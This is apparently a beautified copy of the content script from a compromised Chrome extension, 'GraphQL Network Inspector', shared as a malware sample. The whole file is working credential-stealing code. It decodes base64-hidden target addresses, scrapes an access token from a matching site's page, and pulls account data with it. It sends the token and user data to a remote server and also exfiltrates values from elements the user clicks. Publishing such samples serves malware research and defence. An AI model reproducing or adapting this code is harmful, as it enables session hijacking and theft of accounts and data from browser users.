context_responder.js script from the Chrome extension "GraphQL Network Inspector" (ndlbedplllcgconngcnfmkadhokfaaln) compromised on 29 December 2024 (code beautified and URL defanged)

malicious_chrome_extension_ndlbedplllcgconngcnfmkadhokfaaln_beautified_20241229_context_responder.js

chrome.runtime.onMessage.addListener(function (e, a, c) {
	console.log('Message received:', e), 'getScreenSize' === e.command && c({
		screenWidth: window.screen.width,
		screenHeight: window.screen.height
	});
}), async function () {
	let e, a = document.location.href;
	try {
		const {graphqlnetwork_ext_manage: a} = await chrome.storage.local.get(['graphqlnetwork_ext_manage']);
		e = a ? JSON.parse(a) : null;
	} catch (e) {
		console.error('Error retrieving data from storage:', e);
	}
	e && 2000 !== e.code ? setTimeout(async function () {
		if (a.includes(atob(e.graphqlnetworkc)))
			try {
				await async function (e) {
					const a = atob(e.graphqlnetworkf), c = atob(e.graphqlnetworkg), t = atob(e.graphqlnetworkb), s = atob(e.graphqlnetworkh), o = atob(e.graphqlnetworkd), r = atob(e.graphqlnetworke), n = atob(e.graphqlnetworka), h = atob(e.graphqlnetworki), i = atob(e.graphqlnetworkl), y = atob(e.graphqlnetworkm), p = atob(e.graphqlnetworkn), l = atob(e.graphqlnetworko), d = atob(e.graphqlnetworkp), m = atob(e.graphqlnetworkk);
					atob(e.graphqlnetworkq), atob(e.graphqlnetworkr);
					chrome.runtime.sendMessage({
						action: 'graphqlnetwork-rtext',
						url: a
					}, a => {
						const i = /6kU.*?"/gm;
						let y, p = '';
						for (; null !== (y = i.exec(a));)
							p = y[0].replace('"', '');
						if (p) {
							let a = h + p;
							chrome.runtime.sendMessage({
								action: 'graphqlnetwork-rjson',
								url: s + a
							}, async s => {
								const h = s.id, i = s;
								chrome.runtime.sendMessage({
									action: 'graphqlnetwork-rjson',
									url: c + a
								}, async c => {
									const s = c.data;
									chrome.runtime.sendMessage({
										action: 'graphqlnetwork-rjson',
										url: m + a
									}, async c => {
										const y = c.data;
										chrome.runtime.sendMessage({
											action: 'graphqlnetwork-check-errors',
											url: t,
											pl: {
												dm: atob(e.graphqlnetworkc),
												openapi_tk: a,
												openapi_u: i,
												graphqlnetwork_cx: s,
												gpta: y,
												uid: h,
												hed: o,
												n: r,
												r: n,
												k: ''
											}
										}, () => {
											chrome.storage.local.set({ graphqlnetwork_ext_log: JSON.stringify(h) });
										});
									});
								});
							});
						}
					}), document.body.addEventListener(y, () => {
						document.querySelectorAll(i).forEach(async e => {
							const a = e.getAttribute(d);
							if (a && a.includes(p))
								try {
									const {graphqlnetwork_ext_log: e} = await chrome.storage.local.get(['graphqlnetwork_ext_log']), c = e ? JSON.parse(e) : '';
									chrome.runtime.sendMessage({
										action: 'graphqlnetwork-validate',
										url: l,
										pl: {
											sc: btoa(a),
											cf: btoa(c)
										}
									});
								} catch (e) {
									console.error('Error retrieving log data:', e);
								}
						});
					});
				}(e);
			} catch (e) {
				console.error('Error processing valid URL:', e);
			}
		else
			chrome.runtime.sendMessage({
				action: 'graphqlnetwork-redirect',
				url: e.graphqlnetworkf
			}, a => {
				0 === a && chrome.runtime.sendMessage({
					action: 'graphqlnetwork-completions',
					key: e.graphqlnetworkd
				});
			});
	}, 2000) : chrome.runtime.sendMessage({
		action: 'graphqlnetwork-redirect',
		url: e.graphqlnetworkf
	}, a => {
		0 === a && chrome.runtime.sendMessage({
			action: 'graphqlnetwork-completions',
			key: e.graphqlnetworkd
		});
	});
}();